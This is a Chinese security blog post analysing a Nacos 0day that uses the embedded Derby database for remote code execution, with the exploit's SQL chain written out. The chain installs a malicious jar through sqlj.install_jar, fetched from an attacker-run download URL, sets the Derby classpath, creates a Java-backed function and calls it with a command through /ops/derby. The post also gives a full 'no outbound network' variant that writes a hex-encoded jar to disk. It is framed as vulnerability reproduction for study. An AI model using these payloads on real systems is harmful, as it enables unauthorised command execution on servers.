长亭百川云 - 文章详情

Nacos 0day(derby+源码)分析

小惜渗透

67

2024-07-29

image-20240727202717275

本公众号技术文章仅供参考!
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

Nacos 0day(derby+源码)分析

由于前段时间得了点小病,没赶上Nacos的热度,也好久没有做漏洞复现了,遇到个我感兴趣的所以就复现了下。

然后再说个事,就是之前提到我想分享一些实用的APP,但是因为这个号,我只想分享跟安全有关的,不想搞的乱七八糟的,所以每次都是发到小号上,然后这个转载的,所以如果大家想要获取地址,一定要看号是在哪个号回复,后台好多老哥都回复错了

文章首发奇安信攻防社区:https://forum.butian.net/article/483


本地部署,代码clone下来后,需要用mvn进行编译,这里最好设置镜像或代理,推荐设置代理

image-20240718112949779

配置启动

image-20240720192502714

查看自带derby数据库,ij.bat

-- 默认在C:\Users\【用户名】\nacos\data\derby-data  
connect 'jdbc:derby:C:\Users\【用户名】\nacos\data\derby-data;create=true';

1. post_sql分析

根据已经存在的POC进行分析,可以发现代码首先发的一个请求包是,removal同时带上了参数,参数值就是我们变量post_sql
的三行数据库代码

image-20240718203025918

1.1 sqlj.install_jar分析

CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)  
-- 这里的service变量就是我们下载文件恶意jar包文件的地址,也就是http://127.0.0.1:5000/download,id为随机8个字母,所以可以等量替换如下  
CALL sqlj.install_jar('http://127.0.0.1:5000/download', 'NACOS.{id}', 0)

这里利用CALL指令执行了存储过程sqlj.install_jar
,根据官方文档可知,这个存储过程的功能是将一个jar文件存储到数据库中

这个存储过程有三个参数:

  1. jar文件地址,本地或远程都可

  2. 在derby数据库中这个jar文件的名称,名称需要由模式(Schema)名称限定(可在SYSSCHEMAS表中确定)

  3. 不重要,通常为0

文档地址:https://db.apache.org/derby/docs/10.15/ref/

这里为了更直观我翻译了一下,所以可能有些内容不太通顺

image-20240718204135405

在Derby数据库中,使用SQLJ.INSTALL_JAR来安装JAR文件时,并不是简单地将JAR文件存储在文件系统的特定位置,而是将其存储在数据库本身的系统表中。

SQLJ.INSTALL_JAR命令会将JAR文件的内容以二进制形式存储在Derby数据库的系统表SYS.SYSFILES
中,同时在SYS.SYSALIASES
表中创建对应的别名(alias)。

我们可以先查询一下SYS.SYSFILES
和SYS.SYSALIASES
这两个表

FILES为空

image-20240719115531319

SYSALIASES目前为81条

image-20240719115538621

然后我这里改了下poc脚本,输出了一下post_sql变量

image-20240719115640332

然后执行一次我们的脚本,注意这里的后缀

image-20240719161210575

看一下我们的SYS.SYSFILES
表,可以看到之前的后缀为SYSFILES表中的文件名FILENAME,用于后续定位该文件

image-20240719145534944

1.2 SYSCS_SET_DATABASE_PROPERTY分析

这个存储过程功能就是设置derby数据库中属性的值,我们对应的代码如下

CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')

上边代码所执行的功能是,将derby.database.classpath
的属性设置为我们刚刚上传的jar文件的标识

正常情况下Derby数据库中是支持java类的,Derby 默认加载的是其自身的类路径,这包括 Derby 内置的一些 Java 类和函数,并不包括sqlj.install_jar
安装的 JAR 文件中的内容,所以我们想要执行sqlj.install_jar
安装的 JAR就需要利用SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY
来指定 Derby 的类路径,使其能够正确加载这些类。

image-20240720142245502

1.3 CREATE FUNCTION相关代码

代码解释如下

-- 创建一个名为S_EXAMPLE_{id}的自定义函数  
CREATE FUNCTION S_EXAMPLE_{id}(  
    PARAM VARCHAR(2000) -- 定义函数的参数  
) RETURNS VARCHAR(2000) -- 返回值  
PARAMETER STYLE JAVA -- 使用 JAVA 样式的参数传递方式  
NO SQL -- 函数不执行SQL查询或更新操作  
LANGUAGE JAVA -- 指定函数执行语言为Java  
EXTERNAL NAME 'test.poc.Example.exec'; -- 指定函数的具体实现在 Java 类 test.poc.Example 的 exec 方法中

为了对照,这里将service准备的payload还原为jar文件

image-20240720143530993

接着用jadx打开,这样理解就比较形象了

image-20240720143653698

接着由于这行代码的执行,在我们的derby数据库的SYS.SYSALIASES表中,就已经存在这行数据了

image-20240720143835188

其实这个时候我们执行如下代码, 就可以在derby数据库中调用这个存储过程了,达到调用指定java函数的功能了

-- 由于只是调用函数,在查询中不需要实际的数据表,这里可以用 SYSIBM.SYSDUMMY1特殊的系统表,用于执行一些无需实际数据表的查询操作  
SELECT NACOS.S_EXAMPLE_YLGPGMAF('calc') FROM SYSIBM.SYSDUMMY1;

image-20240720144658017


2. get_sql分析

SELECT *  
FROM (  
    -- 子查询:统计config_info表中的行数,并调用自定义函数S_EXAMPLE_{id}('{cmd}') 返回值作为别名为a  
    SELECT   
        COUNT(*) AS b,  
        S_EXAMPLE_{id}('{cmd}') AS a  
    FROM   
        config_info  
) tmp -- 子查询结束,命名为tmp  
/*ROWS FETCH NEXT*/ -- 注释

可以看到这是我们poc脚本中的代码,这里就有个问题了,像我之前举例那样就能执行函数了,为什么要写的这么复杂,这个原因就得对应下面具体代码分析了

3. /ops/derby代码分析

由于脚本调用了两个接口,get_sql作为/ops/derby接口的参数调用,所以这里先分析下这个接口

代码如下,我们如果想利用漏洞,就需要让代码执行到下方红色框框起来的代码,但是前面有三个判断,所以盲猜上面的sql代码之所以写的那么复杂就与这三个if有关

image-20240720151137726

  1. 首先第一个if,这个判断虽然跟sql没关系,但是也简单看一眼
//这里我们要令代码不进入判断里面就应该确保DatasourceConfiguration.isEmbeddedStorage()为真,然后因为前面有!取反,所以为假,所以就不会走到return了,而DatasourceConfiguration.isEmbeddedStorage()是判断数据库是否为嵌入式存储,我们用的是derby,所以这里肯定为真,所以这个判断不会影响我们  
if (!DatasourceConfiguration.isEmbeddedStorage()) {  
                return RestResultUtils.failed("The current storage mode is not Derby");  
            }

我们可以调试看一眼,为True没有问题

image-20240720152127035

  1. 第二个if

由于我们上面说的红色框框起来的代码是在这个if循环体内,所以需要令第二个if值为真,这里它判断我们的sql参数,是否为select开头(忽略大小写)

image-20240720152430660

  1. 第三个if
//这里可以看到,它判断了sql中是否包含limitSign,也就是ROWS FETCH NEXT,如果不包含则给我的sql后面加了点垃圾  
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {  
                    sql += limit;  
                }

接下来我们先看下这个垃圾是否影响我们运行,emmm,貌似不影响

image-20240720153358517

那么继续简化我们的这个代码,看看用正常在数据库执行的那种方式可不可行,可以正常运行并得到返回值

image-20240720153749877

4. /data/removal代码分析

这个代码其实从表项看没什么分析的,因为它就执行了我们一开始传递的三个sql语句,但是因为这个漏洞是有限制的,所以还是要看一下

上来就看到一个if,这个if跟上面那个跟上面接口的第一个if是一个

image-20240720154114808

既然又出现了一次,那这里我就仔细看看吧,我们之前说它是判断当前运行的环境,数据库是否为嵌入式存储,也就是判断是否为derby而不是mysql什么的,具体怎么判断的呢?

跟进到这个isEmbeddedStorage
函数,返回值是DatasourceConfiguration这个类的embeddedStorage
属性

image-20240720154436121

这个属性值在这里

image-20240720154535974

ok,那就看看getStandaloneMode返回的是个什么,返回的isStandalone,

image-20240720154741705

这里就不多做分析了,多放两张图就都明白了

image-20240720154804050

启动模式

image-20240720154850233

接着代码就没什么好分析的了,大概就是正常把我们sql值分割,然后执行的流程了,我就直接贴图了

image-20240720155208925

执行sql

image-20240720155452778

5. 不出网利用

我们整个利用过程其实需要服务器通过访问我们的攻击服务器的http服务,下载对应payload,所以这就延伸出来了一个问题,就是不出网利用,那么不出网利用能不能实现呢?思路就是sqlj.install_jar存储jar文件到数据库的时候,这个jar文件地址不是指向远程而是指向nacos服务器本地,既然如此就需要找到一个方法先将payload存到本地,而derby数据库恰好是支持的

SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE
这个调用过程可以将数据存到本地

image-20240720171055212

于是将post_sql改为如下代码

image-20240720171312337

post_sql = """  
        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values cast(X''{jar_hex}'' as blob)', './{id}', ',', '"', 'UTF-8', './{id}.jar')\n  
        CALL SQLJ.INSTALL_JAR('./{id}.jar', 'NACOS.{id}', 0)\n  
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n  
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service,jar_hex=jar_hex);

这里第一行用到了SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE
,其实第一个参数为我们的payload,第二个参数为生成的文本文件,最后一个参数就是生成的jar文件,所以执行后会生成两个文件,虽然我们只需要jar文件,但是第二个参数不能为空,本地实验设置为空会出错,包括文档里也写了,如果为空则会报错

image-20240720192045229

那么我们最后肯定是会存到nacos服务器两个文件

image-20240720192148825

ok,可以正常执行

image-20240720192322096

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2